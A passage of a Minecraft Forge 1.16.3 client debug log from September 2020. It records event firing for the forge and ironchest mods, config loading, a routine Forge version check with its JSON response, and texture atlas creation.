[net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/tree_decorator_type> [21Sep2020 05:56:00.741] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/tree_decorator_type> [21Sep2020 05:56:00.741] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/tree_decorator_type> [21Sep2020 05:56:00.741] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/tree_decorator_type> [21Sep2020 05:56:01.017] [Render thread/DEBUG] [net.minecraftforge.fml.client.ClientModLoader/CORE]: Generating PackInfo named mod:forge for mod file C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar [21Sep2020 05:56:01.017] [Render thread/DEBUG] [net.minecraftforge.fml.client.ClientModLoader/CORE]: Generating PackInfo named mod:ironchest for mod file C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar [21Sep2020 05:56:01.098] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.sound.SoundLoadEvent@1e86a5a7 [21Sep2020 05:56:01.099] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.sound.SoundLoadEvent@1e86a5a7 [21Sep2020 05:56:01.099] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.sound.SoundLoadEvent@1e86a5a7 [21Sep2020 05:56:01.099] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.sound.SoundLoadEvent@1e86a5a7 [21Sep2020 05:56:01.277] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.ColorHandlerEvent$Block@65a48602 [21Sep2020 05:56:01.277] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.ColorHandlerEvent$Block@65a48602 [21Sep2020 05:56:01.278] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.ColorHandlerEvent$Block@65a48602 [21Sep2020 05:56:01.278] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.ColorHandlerEvent$Block@65a48602 [21Sep2020 05:56:01.282] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.ColorHandlerEvent$Item@1a865273 [21Sep2020 05:56:01.282] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.ColorHandlerEvent$Item@1a865273 [21Sep2020 05:56:01.282] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.ColorHandlerEvent$Item@1a865273 [21Sep2020 05:56:01.282] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.ColorHandlerEvent$Item@1a865273 [21Sep2020 05:56:02.442] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.ParticleFactoryRegisterEvent@de7e193 [21Sep2020 05:56:02.443] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.ParticleFactoryRegisterEvent@de7e193 [21Sep2020 05:56:02.443] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.ParticleFactoryRegisterEvent@de7e193 [21Sep2020 05:56:02.443] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.ParticleFactoryRegisterEvent@de7e193 [21Sep2020 05:56:02.497] [Render thread/INFO] [com.mojang.text2speech.NarratorWindows/]: Narrator library for x64 successfully loaded [21Sep2020 05:56:02.731] [Render thread/INFO] [net.minecraft.resources.SimpleReloadableResourceManager/]: Reloading ResourceManager: Mod Resources, Default [21Sep2020 05:56:02.743] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.config.ConfigTracker/CONFIG]: Loading configs type CLIENT [21Sep2020 05:56:02.746] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.config.ConfigFileTypeHandler/CONFIG]: Built TOML config for C:\Users\Lenovo\AppData\Roaming\.minecraft\config\forge-client.toml [21Sep2020 05:56:02.747] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.config.ConfigFileTypeHandler/CONFIG]: Loaded TOML config file C:\Users\Lenovo\AppData\Roaming\.minecraft\config\forge-client.toml [21Sep2020 05:56:02.761] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.config.ConfigFileTypeHandler/CONFIG]: Watching TOML config file C:\Users\Lenovo\AppData\Roaming\.minecraft\config\forge-client.toml for changes [21Sep2020 05:56:02.763] [modloading-worker-1/DEBUG] [net.minecraftforge.common.ForgeConfig/FORGEMOD]: Loaded forge config file forge-client.toml [21Sep2020 05:56:02.765] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.config.ConfigTracker/CONFIG]: Loading configs type COMMON [21Sep2020 05:56:02.777] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : FMLCommonSetupEvent [21Sep2020 05:56:02.782] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : FMLCommonSetupEvent [21Sep2020 05:56:02.782] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : FMLCommonSetupEvent [21Sep2020 05:56:02.796] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : FMLCommonSetupEvent [21Sep2020 05:56:02.824] [Forge Version Check/INFO] [net.minecraftforge.fml.VersionChecker/]: [forge] Starting version check at https://files.minecraftforge.net/maven/net/minecraftforge/forge/promotions_slim.json [21Sep2020 05:56:03.077] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.ModelRegistryEvent@2848b7fe [21Sep2020 05:56:03.094] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.ModelRegistryEvent@2848b7fe [21Sep2020 05:56:03.094] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.ModelRegistryEvent@2848b7fe [21Sep2020 05:56:03.094] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.ModelRegistryEvent@2848b7fe [21Sep2020 05:56:03.714] [Forge Version Check/DEBUG] [net.minecraftforge.fml.VersionChecker/]: [forge] Received version check data: { "homepage": "http://files.minecraftforge.net/maven/net/minecraftforge/forge/", "promos": { "1.1-latest": "1.3.2.6", "1.10-latest": "12.18.0.2000", "1.10.2-latest": "12.18.3.2511", "1.10.2-recommended": "12.18.3.2185", "1.11-latest": "13.19.1.2199", "1.11-recommended": "13.19.1.2189", "1.11.2-latest": "13.20.1.2588", "1.11.2-recommended": "13.20.1.2386", "1.12-latest": "14.21.1.2443", "1.12-recommended": "14.21.1.2387", "1.12.1-latest": "14.22.1.2485", "1.12.1-recommended": "14.22.1.2478", "1.12.2-latest": "14.23.5.2854", "1.12.2-recommended": "14.23.5.2854", "1.13.2-latest": "25.0.219", "1.14.2-latest": "26.0.63", "1.14.3-latest": "27.0.60", "1.14.4-latest": "28.2.23", "1.14.4-recommended": "28.2.0", "1.15-latest": "29.0.4", "1.15.1-latest": "30.0.51", "1.15.2-latest": "31.2.41", "1.15.2-recommended": "31.2.0", "1.16.1-latest": "32.0.108", "1.16.2-latest": "33.0.61", "1.16.3-latest": "34.0.9", "1.5.2-latest": "7.8.1.738", "1.5.2-recommended": "7.8.1.737", "1.6.1-latest": "8.9.0.775", "1.6.2-latest": "9.10.1.871", "1.6.2-recommended": "9.10.1.871", "1.6.3-latest": "9.11.0.878", "1.6.4-latest": "9.11.1.1345", "1.6.4-recommended": "9.11.1.1345", "1.7.10-latest": "10.13.4.1614", "1.7.10-latest-1.7.10": "10.13.2.1343", "1.7.10-recommended": "10.13.4.1558", "1.7.2-latest": "10.12.2.1147", "1.7.2-recommended": "10.12.2.1121", "1.8-latest": "11.14.4.1577", "1.8-recommended": "11.14.4.1563", "1.8.8-latest": "11.15.0.1655", "1.8.9-latest": "11.15.1.2318", "1.8.9-recommended": "11.15.1.1722", "1.9-latest": "12.16.0.1942", "1.9-recommended": "12.16.1.1887", "1.9.4-latest": "12.17.0.2051", "1.9.4-recommended": "12.17.0.1976", "latest-1.7.10": "10.13.2.1343" } } [21Sep2020 05:56:03.715] [Forge Version Check/INFO] [net.minecraftforge.fml.VersionChecker/]: [forge] Found status: BETA Current: 34.0.9 Target: 34.0.9 [21Sep2020 05:56:05.710] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@fb4e1ed [21Sep2020 05:56:05.710] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@fb4e1ed [21Sep2020 05:56:05.710] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@fb4e1ed [21Sep2020 05:56:05.710] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@fb4e1ed [21Sep2020 05:56:06.720] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@59aa86bd [21Sep2020 05:56:06.720] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@59aa86bd [21Sep2020 05:56:06.720] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@59aa86bd [21Sep2020 05:56:06.720] [Worker-Main-6/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@59aa86bd [21Sep2020 05:56:08.749] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@7b1034a3 [21Sep2020 05:56:08.752] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@7b1034a3 [21Sep2020 05:56:08.752] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@7b1034a3 [21Sep2020 05:56:08.752] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@7b1034a3 [21Sep2020 05:56:08.803] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@5a04a131 [21Sep2020 05:56:08.807] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@5a04a131 [21Sep2020 05:56:08.807] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@5a04a131 [21Sep2020 05:56:08.807] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@5a04a131 [21Sep2020 05:56:08.887] [Render thread/DEBUG] [net.minecraftforge.fml.client.ClientModLoader/LOADING]: Running pre client event work [21Sep2020 05:56:09.152] [Worker-Main-8/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : FMLClientSetupEvent [21Sep2020 05:56:09.152] [Worker-Main-8/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : FMLClientSetupEvent [21Sep2020 05:56:09.153] [Worker-Main-8/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : FMLClientSetupEvent [21Sep2020 05:56:09.308] [Worker-Main-8/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : FMLClientSetupEvent [21Sep2020 05:56:09.445] [Render thread/DEBUG] [net.minecraftforge.fml.client.ClientModLoader/LOADING]: Running post client event work [21Sep2020 05:56:10.439] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@67db02b8 [21Sep2020 05:56:10.439] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@67db02b8 [21Sep2020 05:56:10.439] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@67db02b8 [21Sep2020 05:56:10.439] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@67db02b8 [21Sep2020 05:56:10.444] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@4f2e2a08 [21Sep2020 05:56:10.444] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@4f2e2a08 [21Sep2020 05:56:10.444] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@4f2e2a08 [21Sep2020 05:56:10.444] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@4f2e2a08 [21Sep2020 05:56:10.474] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@33e1746d [21Sep2020 05:56:10.474] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@33e1746d [21Sep2020 05:56:10.474] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@33e1746d [21Sep2020 05:56:10.474] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@33e1746d [21Sep2020 05:56:10.496] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@6fd0c52 [21Sep2020 05:56:10.496] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@6fd0c52 [21Sep2020 05:56:10.496] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@6fd0c52 [21Sep2020 05:56:10.496] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@6fd0c52 [21Sep2020 05:56:10.506] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@7223dbc9 [21Sep2020 05:56:10.506] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@7223dbc9 [21Sep2020 05:56:10.506] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@7223dbc9 [21Sep2020 05:56:10.506] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@7223dbc9 [21Sep2020 05:56:10.518] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@3c7581a2 [21Sep2020 05:56:10.518] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Pre@3c7581a2 [21Sep2020 05:56:10.518] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@3c7581a2 [21Sep2020 05:56:10.518] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Pre@3c7581a2 [21Sep2020 05:56:10.569] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : InterModEnqueueEvent [21Sep2020 05:56:10.569] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : InterModEnqueueEvent [21Sep2020 05:56:10.569] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : InterModEnqueueEvent [21Sep2020 05:56:10.569] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : InterModEnqueueEvent [21Sep2020 05:56:10.601] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : InterModProcessEvent [21Sep2020 05:56:10.601] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : InterModProcessEvent [21Sep2020 05:56:10.601] [Worker-Main-4/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : InterModProcessEvent [21Sep2020 05:56:10.601] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : InterModProcessEvent [21Sep2020 05:56:10.635] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : FMLLoadCompleteEvent [21Sep2020 05:56:10.635] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : FMLLoadCompleteEvent [21Sep2020 05:56:10.635] [Worker-Main-5/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : FMLLoadCompleteEvent [21Sep2020 05:56:10.635] [Worker-Main-7/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : FMLLoadCompleteEvent [21Sep2020 05:56:12.120] [Render thread/DEBUG] [net.minecraftforge.fml.ForgeI18n/CORE]: Loading I18N data entries: 5198 [21Sep2020 05:56:12.659] [Render thread/INFO] [net.minecraft.client.audio.SoundSystem/]: OpenAL initialized. [21Sep2020 05:56:12.661] [Render thread/INFO] [net.minecraft.client.audio.SoundEngine/SOUNDS]: Sound engine started [21Sep2020 05:56:13.056] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 1024x512x4 minecraft:textures/atlas/blocks.png-atlas [21Sep2020 05:56:13.318] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@6bbab114 [21Sep2020 05:56:13.318] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@6bbab114 [21Sep2020 05:56:13.318] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@6bbab114 [21Sep2020 05:56:13.318] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@6bbab114 [21Sep2020 05:56:13.319] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 256x128x4 minecraft:textures/atlas/signs.png-atlas [21Sep2020 05:56:13.334] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@5d1b1c2a [21Sep2020 05:56:13.334] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@5d1b1c2a [21Sep2020 05:56:13.334] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@5d1b1c2a [21Sep2020 05:56:13.334] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@5d1b1c2a [21Sep2020 05:56:13.334] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 512x512x4 minecraft:textures/atlas/banner_patterns.png-atlas [21Sep2020 05:56:13.335] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@25f61c2c [21Sep2020 05:56:13.335] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@25f61c2c [21Sep2020 05:56:13.335] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@25f61c2c [21Sep2020 05:56:13.335] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@25f61c2c [21Sep2020 05:56:13.335] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 512x512x4 minecraft:textures/atlas/shield_patterns.png-atlas [21Sep2020 05:56:13.338] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@77429040 [21Sep2020 05:56:13.339] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@77429040 [21Sep2020 05:56:13.339] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@77429040 [21Sep2020 05:56:13.339] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@77429040 [21Sep2020 05:56:13.339] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 512x256x4 minecraft:textures/atlas/chest.png-atlas [21Sep2020 05:56:13.340] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@38291795 [21Sep2020 05:56:13.340] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@38291795 [21Sep2020 05:56:13.340] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@38291795 [21Sep2020 05:56:13.340] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@38291795 [21Sep2020 05:56:13.340] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 512x256x4 minecraft:textures/atlas/beds.png-atlas [21Sep2020 05:56:13.341] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@40ef0af8 [21Sep2020 05:56:13.341] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@40ef0af8 [21Sep2020 05:56:13.341] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@40ef0af8 [21Sep2020 05:56:13.341] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@40ef0af8 [21Sep2020 05:56:13.341] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 512x256x4 minecraft:textures/atlas/shulker_boxes.png-atlas [21Sep2020 05:56:13.342] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@461c3709 [21Sep2020 05:56:13.342] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@461c3709 [21Sep2020 05:56:13.342] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@461c3709 [21Sep2020 05:56:13.342] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@461c3709 [21Sep2020 05:56:13.944] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.ModelBakeEvent@377874b4 [21Sep2020 05:56:13.944] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.ModelBakeEvent@377874b4 [21Sep2020 05:56:13.944] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest 